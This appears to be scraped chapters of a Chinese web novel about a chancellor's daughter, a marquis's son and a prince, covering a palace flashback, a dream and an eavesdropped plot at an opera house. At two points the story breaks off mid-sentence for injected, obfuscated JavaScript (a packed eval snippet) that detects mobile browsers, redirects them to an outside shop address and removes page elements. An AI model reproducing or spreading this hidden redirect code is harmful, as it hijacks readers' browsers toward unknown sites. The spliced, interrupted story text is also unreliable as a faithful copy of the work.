明枝溪一拳打在谢槐池腹上,打的谢槐池捂着肚子低下头,“我看你身材单薄,还以为你力气小呢...没想到啊,你还学武功...什么大家闺秀学这个啊。” “什么你的人,你当我好说话啊,你个登徒子!我就算学武功,不,我就算出家了,又跟你有关系吗?”明枝溪说完,正襟危坐,好似什么事情都没发生。 赵康时目瞪口呆:“真是‘菩萨心肠啊’....” “说正事。”明枝溪一脸严肃,一副生人勿近的面容。 “呃...就是我幼时,我母妃不受宠,我就常常被欺凌,我记得那时我都不想活了!站在御花园的池塘边,有个女孩子,她像神仙一般,长的与我母妃殿中的观音像,十分相似,我当时真以为她是神仙呢。” ............. 御花园中,一片泛起涟漪的池塘边,知了正叫个没完,晚风微微吹拂这周围的玉兰树,一片片花瓣缓缓飘落,小声的抽噎声渐渐传开。 “你怎么一个人在这里,大家都去前面正殿吃东西了。”一名小女孩缓缓从假山后走出,硕大的白月笼罩在她的头顶。 “我...我鞋子丢了,不敢去。”小康时看向她,小声哭噎着。 “那你怎么一个人?你的婢女呢?”小女孩俯视着他。 “...她们都欺负我。”小康时胡乱抹了一把脸上的泪水。 小女孩缓缓从背后掏出两双鞋,面带微笑:“那你掉的是这一双沾满泥水的鞋,还是这双崭新的鞋呀?” 小康时眨巴眨巴眼,收住了泪水,看向那两双鞋。 一双上面沾满泥巴,湿漉漉的,甚至还在滴水,另一双崭新如初,但好像是女鞋。 “我丢的...我丢的是那双湿哒哒的。”小康时紧张的拽住衣角。 “嘿嘿,恭喜你通过我的考验,现在这两双鞋子都是你的啦。”小女孩将两双鞋递过去。 只见小女孩走进了些,小康时看清她的面貌,小心翼翼问道:“你..你是菩萨吗?” “是哦,你母亲让我照拂你呢。”小女孩蹲下帮小康时穿上那双女鞋,小康时走了两圈。 “好像有点大。”小康时俯视的看着面前的女孩,大眼睛一眨一眨,十分可爱。 小康时自从母妃失势便过的缺衣少食,身材与年龄严重不符,看着就像一只小老鼠一样。 “不好意思呀,我不知道你穿多大的鞋。”小女孩站起,“走吧,带我去找你的婢女。” 小康时闻言一愣,面露胆怯之色,不敢开口。 “嗯...让我想想你是哪个宫里的,你母亲应当不受宠,不然那些杂碎才不敢欺负你,这宫中美人万千,不受宠的也多,可是今天没有到场的只有一个,齐才人,所以你才不敢去正殿。” “再让我想想,齐才人应该是住在东南房的倚椿殿,我说的没错吧。” 小康时愣神,幼小的他点点头,觉得面前这名小女孩一定是天上来的神仙,便紧紧牵住对方的手。 小女孩见他牵住自己的手,轻笑一声,拉着他往倚椿殿走去。 路上阴冷,宫道上婢女与太监看见小康时眼里没有什么波动,可看向小女孩时一个个的毕恭毕敬的行礼。 倚椿殿外,空无一人,推门走进院中,杂草丛生,时不时还有老鼠在“吱吱”叫。 听见动静,出来了一名婢女,长相丑陋,满脸麻子,看向小康时嘴里传来咒骂:“你个下贱的货色,跑出去这么久还回来做什么。” 小女孩松开手,向前走去,那名婢女没见过她,一起咒骂着:“怎么,还带个不知道哪里来的野孩子,哼,你当我怕你们吗?” ‘啪’的一声,那小女孩身形本就高大,比正常的同龄女孩高出一个头,抬起手刚好能打着那麻子脸的婢女。 麻子脸捂着自己的脸,大喊道:“反了天了?你个贱骨头。”说着想反手打回去。 小女孩一把抓过,伸过来的手,目光阴冷:“你个婢女,我想杀便杀了,你以为你是谁?见到人就咬,你是狗吗?可惜啊,狗咬我,我也要咬回去,惹到我,你算是倒霉呢?还是倒霉呢?” 小女孩一把扯过婢女,力道之大,那婢女顿时重心失调,摔下台阶,躺在地上嘴里喊道:“你给我等着,我这就找人治你。” 那麻子婢女头上磕出一个血红的窟窿,捂着头向外跑去。 小女孩折回去拉住已经吓傻了的小康时往内殿走。 刚打开门,只见房梁上挂着一个纯白色人影,小女孩见了瞳孔猛然缩小,转过身,抱住小康时,小康时只到其胸口,面前的景象被遮个七七八八,他看不清。 只知道殿内乌漆嘛黑的,白色的‘布’突兀的在空中摇荡。 “你母妃睡着了,我们走吧,出去逛逛。”小女孩就这样抱住他,“不要看前方,你母妃不想你打扰她睡觉。” 小康时很听话,不去多想,转过身:“好吧,可能是我今日跑出去没回来,母妃生气了,明天我去御花园摘几束花,安慰母亲。” 两人手拉着手,出了殿门,那麻子脸婢女带着一群面色丑陋的婢女,叫骂着走来。 小女孩拉着小康时越走越快,其中一名婢女向着殿内望去,见到了那场景,顿时大叫。 其余人的目光被吸引过去,一同大叫,一众婢女顿时吓晕过去,七歪八倒的砸落在地,惊动了周遭巡逻的护卫。 那些护卫见到小女孩与小康时,面面相觑,一名年龄稍大的跑进内殿,看清场景后,派人去禀报圣上与丞相。 —————— 歌舞盛宴,一张张方桌上摆放着各色佳肴,一名身穿龙袍,年过半百的男子正坐在高台上在敬酒。 下方所有人纷纷举起酒杯,这时那名护卫中的一位,面露惊恐上前禀报。 皇帝喝多了,没怎么听清楚,挥手道:“明爱卿,你的爱女走错路了,到朕的后宫去了,哈哈哈,快来人那,带爱卿去寻女,朕也是喝多了,一同去吧,醒醒酒。” “是。” 婢女与太监走在最前面,脚步急促,而后方,皇上坐在轿撵上,路上婢女与太监纷纷下跪。 —————— 倚椿宫外,一群护卫保护着小女孩与小康时,因为害怕,小康时紧紧握住女孩的手,躲在女孩身后。 而那名被吓晕的麻子脸婢女渐渐转醒,意识到主子死了,自己也难辞其咎,索性拿着同伴掉落在地的木棍,一股脑往女孩方向冲过去。 那名护卫反应未及,只见麻子脸一棍子敲在那女孩的左脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这戏码没意思。”明枝溪扯开沉重的话题,“若我是目连,母亲行事偏激,作恶多端,下了无间地狱,那便下了,才不会傻到去救。” 赵康时收起凝重的神色,如同朋友般:“明姑娘不信佛法?” 明枝溪点点头:“比起佛法,我更信我自己,有事求自己可比求神管用,世上这么多人,佛怎么可能一个个顾过来,而且人有一个佛没有的东西。” “什么?”赵康时好奇问道。 ‘哗啦’明枝溪将瓜子洒落在桌面,目色一凛,转身朝着门外走去:“贪。” 她走出门,不管后面那两人,看见青禾正和绿竹站在一旁闲聊,她走去打断:“走,青禾和我回去找我哥,绿竹,你也不是小孩子了,做事要认真,散去吧。” 绿竹抱拳行礼,一刹那周围身穿青灰色外衣的人消失在原地。 谢槐池走了出来,两人对视一眼,明枝溪翻了个白眼,往楼下走去。 “诶,明姑娘,你等等我,我今日说话是有不妥,可是你也打过我了,我们两清了。”谢槐池跟在她身后,时不时望向她一眼,目光落在在明枝溪而后的红痣。 “谁跟你两清。”明枝溪不回头,只管往外走,“现在就着急清算啊,况且你不来,我也能处理好。” “没想到啊,你个大家闺秀,又是培养暗卫,又是学习武功的,深藏不露啊。”谢槐池双手环抱在胸前,就这样跟着眼前的少女走。 “这些是什么男子才能做的事情吗?你们能做,我凭什么不能。”明枝溪加快步伐。 谢槐池一愣:“我不是这个意思,诶,你听我解释啊。” 周遭的叫卖声此起彼伏,日暮降临,夕阳的光束照射在整条街上,几只钗子躺在那,被日光照的闪闪发亮。 若无闲事挂心头,便是人间好时节。 —————— 侧门口,明枝溪往里走去,两名小厮的脸上各多出了一只巴掌印,见到身穿灰色外领的明枝溪走进,只是暗自低了低头。 谢槐池跟着走进,那两名小厮抬起头看向谢槐池的背影,目瞪口呆。 “哥!我回来了,咱们回府吧。” 明子晋站在正门内,靠着门框,一脸担忧,见着明枝溪回来,可算是缓和了些,:“你有没有碰见谢兄,我俩正看书呢,刘闻跑来说了什么,他就跑出去了,一转眼就没影了。” 明枝溪嘟着嘴:“没有啊,他可能惹上什么不该惹的人了吧。” 不待明子晋开口,一道靓丽的风景正从远处缓缓走来。 “明兄,我回来了,嗯?你们要走了吗?”谢槐池一脸无辜。 “诶,谢兄你干嘛去了?”明子晋见他回来了面色终于是带了笑。 谢槐池想了想方才发生的事情,看了一眼心虚的明枝溪:“没有,我的猫跑丢了。” “你什么时候养的?” 谢槐池露出笑,看向明枝溪,有些挑衅般:“刚才。” 明枝溪听了一阵恶心,冲他使了个恶狠狠的眼色,随即又化作正常,搂着明子晋的胳膊撒娇道:“哥~我们回家吧,他养的猫,又不是你养的,上赶着关心做什么,我饿死了~” “好好好,回家回家。”明子晋应付着,“谢兄,今日叨扰,告辞。” 谢槐池点头,看着两兄妹推搡着走出门,上了马车。 “你很中意那姑娘?”王老太太从后方走来,杵着拐杖问道。 “祖母。”谢槐池微微欠身,“没有,只是觉得...她很,咳,像街上的杂戏班子。” 6. 第6章 做了一个怪梦 两人上了马车,明枝溪坐在那头靠着窗,不知道在想什么。 明子晋察觉不对小心翼翼开口询问:“呃,你今天没遇上怎么怪事吧?” “有啊。”明枝溪漫不经心道。 “那就好。”明子晋下意识答道,随即立马反应过来,震惊的看向一脸平静的明枝溪,“啊?有?什么怪事?你没被欺负吧?快让我看看,有没有受伤。” 明枝溪伸出手挡住了他要伸来的手,出言制止:“没受伤,就是听戏曲时碰见了淮王。” 明子晋愣了一愣,迟疑问:“呃,你没冒犯到他吧,听闻这位可是个杀人不眨眼的主。” “没冒犯,硬要说的话,是他冒犯我。”明枝溪抬起胳膊,肘在窗台上,娇小的手掌拖着脸,向外望去,语气平静。 窗外暮色渐渐暗沉,一轮圆月高高升起,几只乌鸦飞过,‘嘎嘎’的叫着。 “啊?他冒犯你?他碰你了?啊?我的观音菩萨啊!”明子晋大惊失色,眼睛瞪着老大,身形一动不动,仿佛变作一桩石像。 明枝溪见他想到天边去了,赶忙解释:“不是你想的那样,就是他说小时候见过我,可是我想不起来了...诶!你当时不是一同去的吗,你有印象吗,就是小时候母亲第一次带我参加宫宴那次。” 明子晋思索一番,刚想开口又咽了下去,再次思索开口:“那天晚上很正常啊,我们一家人吃完便离宫了。” 明枝溪依旧望向窗外,没看见到明子晋方才那副欲言又止的模样,淡淡答了个:“哦。” 两人无言,马车不知不觉就到了府外,两人向里一同走去,门口的小厮有些慵懒,见来人了又赶忙挺直脊背。 周遭传来阵阵饭菜香气,闻的就令人分泌着唾液,肚子也开始不争气的打鸣。 明子晋觉着气氛有些沉寂,突然就有点不适应,兀自开口:“要不来我院里吃点?之前那老厨子回乡了,新来了一位年轻小伙,还不知味道如何,我们一同品鉴品鉴?” 明枝溪点点头,依旧那副心不在焉的模样,她努力回想着那段消失的记忆,可不知为何,每当快要想起时,总是如同散沙般顷刻散去,始终记不起,当她闻见香气,终是回过神来。 不知不觉中已经到了书澜院,院如其名,一群小厮正在收拾晾晒的书籍,书籍被风吹开,一页一页的展现在面前,明枝溪看见这些翻页的书籍,只觉得肚子叫的更大声了,甚至还有些犯困。 走进屋内,满排的书展现在面前,说是藏书阁其实也不为过,只是这些书,基本上都是外头书舍能买着的,孤本与藏书少的可怜。 ‘书呆子’明枝溪脑海里蹦出这三字,两人坐下,这时布菜的婢女缓缓走来,色泽鲜艳的菜品摆放在桌上,勾起一阵食欲,只不过都是辣菜。 “那我就不客气啦。”明枝溪夹过一道青椒炒肉,因为这是众多菜品中,唯一一道带着点绿的,“唔,好吃!” 明子晋见她动筷,心情似乎也恢复了许多,这才放心的动筷:“那就好,我还怕你吃不惯呢。” 吃着明枝溪脑中忽然浮现出一个疑问:“哥,你到底怎么认识谢槐池的?” 谢槐池,说好听点,就是长得好看的小白脸,众人对他印象深刻也仅仅是因为,习得一手好武功与家世,开国侯作为前朝旧臣,现如今却还在为了这个国家冲锋陷阵,而谢槐池是家中最小的儿子。 现如今已经是独子了,谢侯原本有三子,老大死在七年前,老二死在三年前,而谢侯不愿这独子,再跟上父兄的步伐,上那到处残肢断臂,惨叫连天的战场。 而明子晋翰林院当值,妥妥的文臣,就算谢槐池未来是走上父兄的路,那也应该是武臣,谢槐池的学时还真不晓得,毕竟也不去参与什么游园会,作诗大会,所以这两人应该是八竿子打不着的关系。 埋头干饭的明子晋想了想:“呃...就是偶然间听说了几本书,我未曾看过,所以出去买,可是书舍都没有,正打算回家,看见了几位同窗学子正出言挑衅谢兄。” “我上前打听,好像是谢兄不小心撞到他们了,已经致歉了,可对方还是喋喋不休,那时候还没科举呢,想着万一以后成为同僚,低头不见抬头见的,影响多不好啊。” “你也知道嘛,文武官员向来不睦,我也是怕以后真吵起来,这也算是为那几位学子好吧?算了,反正他们没考上,然后...我便为谢兄说好话,可是那几位愣头青,还是不依不饶,我正不知如何是好呢。” “谢兄一拳打了过去,吓的我啊...不,他们啊,一溜烟全跑了,然后就结识了,后来我找不到的那两本书,甚至孤本,他家藏书阁都有!那宅子就是好啊,你说要是父亲努努力,说不定当时就是先赐给爹了,现在这般简直暴殄天物啊。” “哦。”碗中的米饭颗粒分明,上面还沾着辣椒油,被一圈圈搅拌着,可明枝溪也不动筷子,只是看着米饭扒拉。 “你问这个做什么?” “哎呀,食不言寝不语,你莫要说了!”明枝溪恼羞成怒般,闹着小孩子脾气。 明子晋好脾气的笑着打趣:“还有一条,不吃不要扒拉饭菜。” —————— 月挂梢头,月光洒落,明枝溪猛的发现,青禾好像自从与绿竹聊过,就一直闷闷不乐,一路上一句话都没说,只是目光呆滞的打着灯笼,向前走去。 “你怎么了?你姐跟你说了什么?看你这副模样,教训你了?”明枝溪意识到青禾的不对,走上前牵着她的手安慰,“哎呀,我们的小青禾,开心点嘛,发生了什么你跟我说说嘛。” 两人走进院内,烛光摇曳,而青禾一言不发。 “我的好青禾,跟我说说吧。”明枝溪摇着青禾的手臂走向屋内,周围的婢女视若罔闻,这种事情好像经常上演。 明枝溪坐在圆凳上,给自己倒了杯水:“你究竟怎么了,是我做了什么惹你不高兴了?还是发生了别的什么?好歹让我知道知道吧。” 只见青禾目光呆滞的摇摇头:“没有,姑娘待我很好,只是...我与阿姐想休沐几日,我阿娘的忌辰...快到了” “都已经过去三年了吗...”明枝溪叹气,目光暗沉,“我暂时还没找到杀害你家人的那群暴徒,对不起。” 青禾反应激烈:“不,姑娘,若不是你,我与阿姐早就死在了那场暴乱中了,还得谢谢姑娘救下我们,姑娘又何必自责呢。” 明枝溪嘴上带上苦涩的笑:“嗯,你也莫要去想了,若是找到了,我们一同去了结他们,你今日早些歇息,明日才有劲儿,去吧。” 青禾张张嘴,却也没说出什么,只是微微欠身,退了下去。 烛火再次摇曳,室内忽明忽暗,一阵风吹来,蜡烛齐齐灭了,只留下书案上一小盏烛火用力晃动,明枝溪走去,关上了床头旁的窗,拿出火折子将几盏最重要的蜡烛纷纷点上。 紧接着她逗弄了一会儿小白,小白发出‘咕咕’的声响,目光盯在书案旁的琴上,明枝溪顺着目光望去,“嗯?小白你想听我弹琴?” 又是一声‘咕咕’,明枝溪这才缓缓走去,“我先说好啊,我很久没弹了,不知道弹的怎么样,你不准飞过来啄我哦。” 明枝溪坐下,挺直后背,手轻轻放在琴弦上,一阵旋律美妙的琴声传来,犹如天仙下凡,可后段琴音里透出无尽哀凉孤寂,明枝溪想着,脑海里伴随琴声,多出许多段不同的记忆。 小男孩?是谁?赵康时吗?不对,总觉得与今日下午中记忆里的脸不一致,破庙?这是哪里?明枝溪心中想着,琴弦崩断,手掌中顿时出现一片猩红,她暗骂倒霉,拿出帕子覆盖上去。 小白已经闭着眼显然一副睡着了,明枝溪心想,拿我琴音当助眠曲?看在你是只鸟我放过你。 明枝溪有些茫然,想着写会儿字吧,可思绪乱飞,静不下心,手却不自觉的写了一个‘怯’字,她胡乱画去。 兜兜转转她褪去头饰衣物,散下青丝,平躺在床上,心中想着,莫愁千里路,自有到来风。 —————— 梦中,明枝溪走在一条小巷里,这小巷漆黑一片,一眼望不到头,周围一人也没有,突然传来一声弱小的呼唤,是青禾的声音,可是不管如何侧耳倾听,始终听不清内容。 明枝溪向前走去,周围红色的灯笼一盏盏亮起,呼唤再次传来,明枝溪有些着急,呼喊着:“青禾?青禾你在哪?别和我玩捉迷藏了,这里好黑,好冷。” 这时前方出现青禾的身影,明枝溪向前跑去,可这点路像是无底洞,怎么都碰不到对方,甚至没有前进半步。 “姑娘,青禾感谢姑娘救命之恩,青禾可能会先行一步,姑娘,如果我活下来了,一定会更加努力伺候姑娘,姑娘,青禾好想你,好想回到以前一无所知的时候,姑娘,你要照顾好自己啊。” 明枝溪不解,这些字她都能听懂,可是连起却是听不懂了,她加快脚步去追赶:“青禾,你说什么呢?青禾,有事我们一起商量好不好,你先回来。” 一把尖刀穿过青禾的胸膛,青禾倒地,血渗透了她青绿的衣裳,她嘴里呢喃着什么,可是明枝溪听不清了,距离越拉越远。 明枝溪跌落在地,没有传来疼痛,依旧向前追赶,周围渐渐有了人群,没有脸,伸出手指指点点,明枝溪手中多出了一把剑,她望去竟然是方才刺向青禾的那把,她惊呼一声,连忙丢落在地。 可是那剑好像长了脚一般,朝她冲来,明枝溪下意识伸手阻挡,绿竹突然冲出,鲜血飞溅,明枝溪愕然,瞳孔一点点放大,泪眼模糊,一股脑想去抱住绿竹。 周遭突然变得黑暗。 —————— “啊——”明枝溪睁开眼,发现是梦,冷汗浸透衣裳,面颊湿润,她伸手探去,眼泪?还好是梦,真是吓死我了,她心中想着。 想了想还是决定沐浴,身上汗水干后黏黏的,“青禾,咳咳,小玉,进来。” 门被打开,天空微微露出鱼肚白,枝头上有鸟儿正在鸣啼,小玉走进,行礼问:“姑娘早,有何事吩咐?” “帮我备水,我要沐浴。” 小玉答道:“是。”便匆匆下去。 一众婢女开始忙活起来,先是两名婢女搬进浴桶,再是一轮一轮的冷热水。 明枝溪上前试探了水温,满意的挥了挥手,众人向院外退去,关上了门。 明枝溪褪去身上的衣物泡了进去,她将头整个浸入水中,吐出两个泡,又探出脑袋,抹了把脸,将发丝捋过脑后,她仔细擦洗着身体。 不久后,她走出浴桶,拿着干燥的布擦拭着水滴,换上干净的衣物,走向梳妆台将窗子打开,风中带着些冷意,她随手从边上拿出一本书便看起来:“来几个人,整理整理。” 门再次被打开,众人分为两拨走进来,一名长相端正的婢女与另一名青涩的婢女向着明枝溪走来,擦拭着未干的青丝,直到青丝彻底干透。 那名长相端正的婢女便娴熟的梳头,束发,戴簪钗,一套动作行云流水。 而另一名婢女正上妆,手法有些稚嫩,毕竟以往上妆这活都是青禾在干。 很快一个看的过眼的妆容呈现在铜镜里,衬托的发髻格外精致:“都退下吧,各忙各的,我去给母亲请安。” 此时已经天光大亮,外头的街道都有了行人与商贩的叫卖声。 明枝溪走在路上,心中坎坷不安,她不喜欢身后浩浩荡荡一群下人跟着,可是以往都是青禾陪她去面对母亲。 现在只有自己,没有心理安慰,她心中暗叫,青禾,快回来吧,一日也离不开你啊。 明枝溪也不知道今日会发生何事,这是受伤后这些天以来,第一次去拜见母亲,明子晋与明衢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567703|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也已经去上朝了。 想着想着便到了门外,她心中坎坷,推门走进,茶香飘来,只见博英风正坐着点茶,明枝溪毕恭毕敬进去,下跪:“孩儿给母亲请安。” “起来吧,坐。”博英风看向她,语气平静,可手没停。 很意外,以往都是责怪,如今这般反倒是有些不适应,明枝溪站起,向前走去,坐在博英风面前,多说多错,少说少错,两人一言不发。 “来,枝溪。”博英风将那碗茶花精致的茶放在她面前。 明枝溪有些受宠若惊,连忙端起喝了一小口,捧着茶碗:“多谢母亲,母亲手艺依旧。” “以前,是母亲对不住你,以后想玩便去玩吧,人不是老了才会死。”博英风点着另一碗茶,眼眶有些泛红。 明枝溪一惊,抬起本身低垂着不敢望向母亲的头:“啊?母亲,你生病了?” 博英风抽出手,擦拭着眼角的热泪:“没有,只是想开了,是我将所有负担压在你们身上,是母亲的错。” 明枝溪听到这其实还是有些不可置信,但也没有说什么,结合这几日的种种变化,只是点着头,看着母亲娴熟的点茶,又默默的喝了一口。 “喝完了,便退下吧,最近总想一人呆着,今后也不必请安了,你也不必多虑,我真的是想开了。”博英风点茶的手顿了顿,又回归平常。 明枝溪站起来,行了一礼,默默退下,走在外头,她流出热泪,泪水顺着眼角滑落,滴落在衣襟上。 她轻轻抹去眼泪,又泛起笑容,念叨着:“连云不知春去,一晴方觉夏深。” —————— 街上行人一如既往的多,明枝溪漫步,看上了一只簪子,上头是新颖的荷花模样,与今日的衣裳十分搭配,她刚想伸手过去拿,只见另一只手快速伸来,一把拿过插在自己的发髻上。 明枝溪微蹙眉头,看向对方:“这位姑娘,是我先看上的。” 那名女子傲气道:“可是我先拿到的。” “你。”明枝溪刚想开口反驳,感觉头上一重,她转身看去,“谢槐池?” “嗯,是我,我觉得这个簪子更适合你,你看上面也是也是荷花,可是多了些荷叶点缀,更为灵动了。”谢槐池拿起店主的铜镜向上照去。 “呃...是还不错,你哪搞来的?”明枝溪望向铜镜,铜镜中照着那名女子冷哼一声便甩袖离去的身影。 谢槐池将铜镜放回去,低着头看向她:“你猜。” 明枝溪:“我就不该给你好脸色,蹬鼻子上脸。” 谢槐池宠溺笑着:“怎么样,解气不?” 明枝溪置若罔闻,转身便走,谢槐池依旧跟着,明枝溪停下脚步,转身问:“你跟着我做什么?” “我无聊,看看你去哪。”谢槐池双手环抱在胸前,眉眼弯弯,仔细看居然还上了一层薄薄的粉。 “妖妖调调。”明枝溪转过身觉得有些气血上涌,不再看他,往望风楼走去。 熟练的交了钱,只见那名小二顿了顿问:“这位公子是和您一块的嘛?” 谢槐池从荷包中掏出二十文:“不是,剩下的是打赏。” 那名小厮嘻嘻笑着,准备着茶水。 明枝溪走向二层,还是昨日的老位置,只见谢槐池跟着上楼,坐在她的对面,:“你不是说这戏不好看吗?怎么还看?” 明枝溪抿嘴:“有始有终。” 谢槐池:“哦,好吧,那只可惜今天没有遇上淮王。” 小二端着茶水与糕点上来,见两位坐在了一起,不禁疑惑,秉持着素养,不去过多询问,只是走时重重的看了两位一眼。 今日演的,是目连修行得道,下地府寻找母亲,找到了母亲,却没法子救她脱离苦海,只好重返人间,寻找佛祖帮忙。 两人看的津津有味,只听边上的包房传出一声“什么?”,两人回眸看去,却没了声响。 明枝溪是靠着墙壁的,她侧过身,耳朵紧紧贴着墙壁,隐约听见:“是上头吩咐的,先制造...再趁机...上头有法子圆。” 可恶,重要的信息竟然听不清,明枝溪心中暗骂,不自觉更加贴向墙壁,仿佛一张烙饼。 谢槐池见她听的比戏还认真,便走过去,坐在明枝溪身侧,一同贴在墙壁听,隐约间听见:“只有这一种法子?不能弄....这样风险太大.....行....等等。” 门忽的被推开,二人反应不及。 一名身材魁梧的男子走出,胡子拉碴,看见两人没好气道:“嚓,要恩爱去别处恩爱,碍眼。”说罢又往回走去,狠狠关上门。 只见明枝溪头轻轻靠在谢槐池肩膀上,而谢槐池低着头看她,青丝传来阵阵桂花香气,右耳后的红痣似乎发着红色的光芒,勾人心魄,仔细看去,耳廓尖竟然也有只耳洞,只是没有戴上耳环,并不显眼。 明枝溪见人回去了,连忙抬起头,喘着大气:“好险,差点被发现了。”她小声的说。 “咳咳,你反应真快,我都还没反应过来。”谢槐池脸上微微泛红,保持着刚刚的姿势,动作僵硬,视线保持在明枝溪的面容上。 “他们在密谋什么?”明枝溪低下头,手指托着脸,摆出一副沉思的模样。 “反正跟我们没关系,还是不要掺和为好,小心引火烧身。”仅仅一瞬之间,谢槐池面色便恢复如常,肩膀放松。 “有道理,不过我还是想知道,还是派人盯着些吧,免得人就在火中。”明枝溪从怀中掏出纸张与墨盒,用手指写着什么,又从发髻上取出鸟哨,一路小跑下楼,站在门外,轻轻吹响。 谢槐池跟在后面,只见小白由空中盘旋几圈,紧接着俯冲下来,随后刹住,直直站在了明枝溪胳膊上,明枝溪将纸条绑在小白的脚踝上,手臂向上一抬,小白飞向天空,又是盘旋几圈后消失不见。 7. 第7章 有始有终 “你还养鹰?”谢槐池看着空中消失不见的鹰说着。 明枝溪转向他,瞥了一眼,径直朝着楼上走去:“嗯,我说过的,这些事情不是只有男子才做得。” 谢槐池跟上她,突然间觉着自己怎么每次都是跟在她后头,小跟班吗? 于是他笑着侧身越过明枝溪,也不怕摔,转过身目光还是落在明枝溪脸上:“我之前也说过,没有这个意思,只是好奇,你究竟发生过什么事情?又是暗卫又是养鹰的。” 明枝溪见他越过自己没有气恼,神色如常,走回座位端坐着吃着糕点,早晨没有吃饭,肚子饿的快叫出来了,不急不慢的吃完一块糕点才回答谢槐池这个问题。 “呃,准确来说其实我也不知道,可能遗传?又或者我身上发生过什么,有些事情我是真的记不清,怎么说呢...有些健忘?” 谢槐池伴着坐,将自己那份糕点不动声色的挪向明枝溪那头,撑着桌面望向正在看戏的她:“如果我有些事情忘记了也挺好的,可有些事情忘记了,我会后悔一辈子。” 明枝溪目光微动,不易察觉的望向谢槐池:“比如?” “比如父兄,意中人?又或者是一段美好的时光。” 不知为何明枝溪觉着他说这话时十分寂寞,想起他家的遭遇,终究是不忍打趣他。 “佛祖!求求您,救救我母亲罢,请您救她脱离苦海,早日往生极乐罢。” 戏台上身穿佛袍的男子向佛台上高高在上的神像,跪下哭喊着;戏码便由此落下帷幕,今日的观众比以往少了些,台底下一片寂静无声,紧接着就是下一出戏码,有些人干脆一走了之。 明枝溪撇撇嘴,有些不解般嗤笑:“戏里总是这样,佛祖一喊就出来了,这算什么,在这乱世中就他是角儿?” 包房门被狠狠打开,那名魁梧的男子瞥了眼两人,一脸不屑的走下楼去,不一会儿,另一人也缓缓走出,看着面前两人,神色惊讶。 “二位,怎的今日又在此处,昨日不是说这戏码老套俗气吗?”谢康时神色愣愣,望向坐在一块的两人,又联想到方才那名魁梧男子无意中的对话,“你..你们..你们不会是。” 明枝溪反应过来对方好似误会了,还不待她开口,谢槐池抢先一步,神情自若:“是,就是你想的那样。” “啊?”明枝溪没空理会谢康时,“什么就他想的那样了?你给我解释清楚,不要平白误会了人。” 只见谢槐池开始装聋,顺手拿起糕点便开始吃,没有丝毫解释的意思。 明枝溪一把肘了过去,被对方一个扭腰躲开了:“谢!槐!池!” 赵康时脸上的神情越来越难看,明枝溪索性放弃与谢槐池对峙,恢复了平静:“殿下,并非您想的那样,这登徒子在胡言乱语,我与这登徒子清清白白,只是朋友。” 赵康时拿着折扇遮住下半张脸,坐在了两人对面:“咳...那就好,有失礼仪,有失礼仪那二位今日只是结伴?” 嘴上这么说,可心里想的却是:和登徒子是朋友?还挺放得开啊。 “是,我们路上偶遇,索性结伴看戏,仅此而已。”明枝溪正经的回答。 谢槐池紧接着拿着桌上仅剩的一块糕点吃起来,含糊不清的接着说着:“看戏..有始有终。” 赵康时有些疑惑的看着他,显然是没听懂,但也尴尬的笑着:“哈哈,是我误会了,谢世子看着好像很饿...我那儿还有些吃食,要不拿点?” 谢槐池努力咽下干吧的糕点,喝了口茶才得以下咽,吊儿郎当道:“那怎么好意思让殿下拿,不用了,连吃了几块反倒是没这么饿了,殿下若是真想请我们,不如请我们吃顿饭吧。” 明枝溪无奈的摇摇头:“殿下莫要见怪,他可能饿魔怔了,不说他,殿下今日来此是做什么?莫非也是来听戏?” 谢槐池神色微动,狠狠的瞪了一眼赵康时,只是赵康时并未注意。 “是啊,我与友人来此看戏听曲儿,只是他不感兴趣便先去春风阁等我了。”赵康时语气正常,并无半分不妥。 明枝溪挂着笑,想着他既然不想说,那就不问了罢,转而顺着话题道:“春风阁?” 见对方不再提方才的事情,赵康时这才带上笑颜,面相温和:“是啊,一处酒家,今日我邀请众人前往此处,作诗吟曲,明姑娘是否感兴趣?设有女席的,只不过没有女眷肯来,若是有意不如一同前往?” 说着他看向边上一脸挂着‘没意思’的谢槐池。 明枝溪站起,微微做福:“诚谢殿下邀约,小女正好无所事事,不如前去凑个热闹罢。” 赵康时站起回礼,可目光依旧灼灼盯在谢槐池身上,盯的他好不自在,站起道:“我也去。” 三人‘一拍即合’一同前去。 春风阁外,一群等待放榜的学子看向来人,纷纷行礼问好,一些与赵康时关系不错的学子上前问:“这是?” 明枝溪敏锐捕捉话题,做福道:“小女丞相之女明枝溪,各位有礼了。” 一旁双手环抱,一脸不屑的谢槐池,并未过多行礼,只是直直站着,平静道:“开国侯之子谢槐池。” 周围众人纷纷露出惊讶之色,异口同声道:“见过明姑娘,见过谢世子。” 毕竟放榜在即,众人心怀鬼胎,要是中选了免不了要打交道,不管对方态度如何总是要试着攀附,说不准明枝溪向明衢无意中提起一嘴,于是明衢便点拨一下呢? 真不行,万一有看中的呢,赘婿也不是不行啊,虽比不上攀龙附凤,可也是衣食无忧啊,至于谢槐池,尊敬就好了。 三人客套客套便往阁内走,穿过长廊,风景如画,百花争艳,一朵赛一朵的漂亮,倒也是符合这春风阁之名,春日复苏百花齐放。 向里走去,有一片空地被花环绕着,一众世家公子坐着喝酒闲聊,方才那魁梧的男子也坐在那,只是不与众人交谈。 三人走近,明枝溪拿出腰间团扇遮住面容,众人纷纷望向此处,行礼问好。 “淮王殿下,这位姑娘我没见过啊。”一名长相清秀的男子走来,贴着赵康时耳边私语着。 声音不大不小,明枝溪刚好能听见,她走向前,依旧用团扇遮着面容,微微欠身:“小女丞相之女明枝溪,诸位有礼了。” 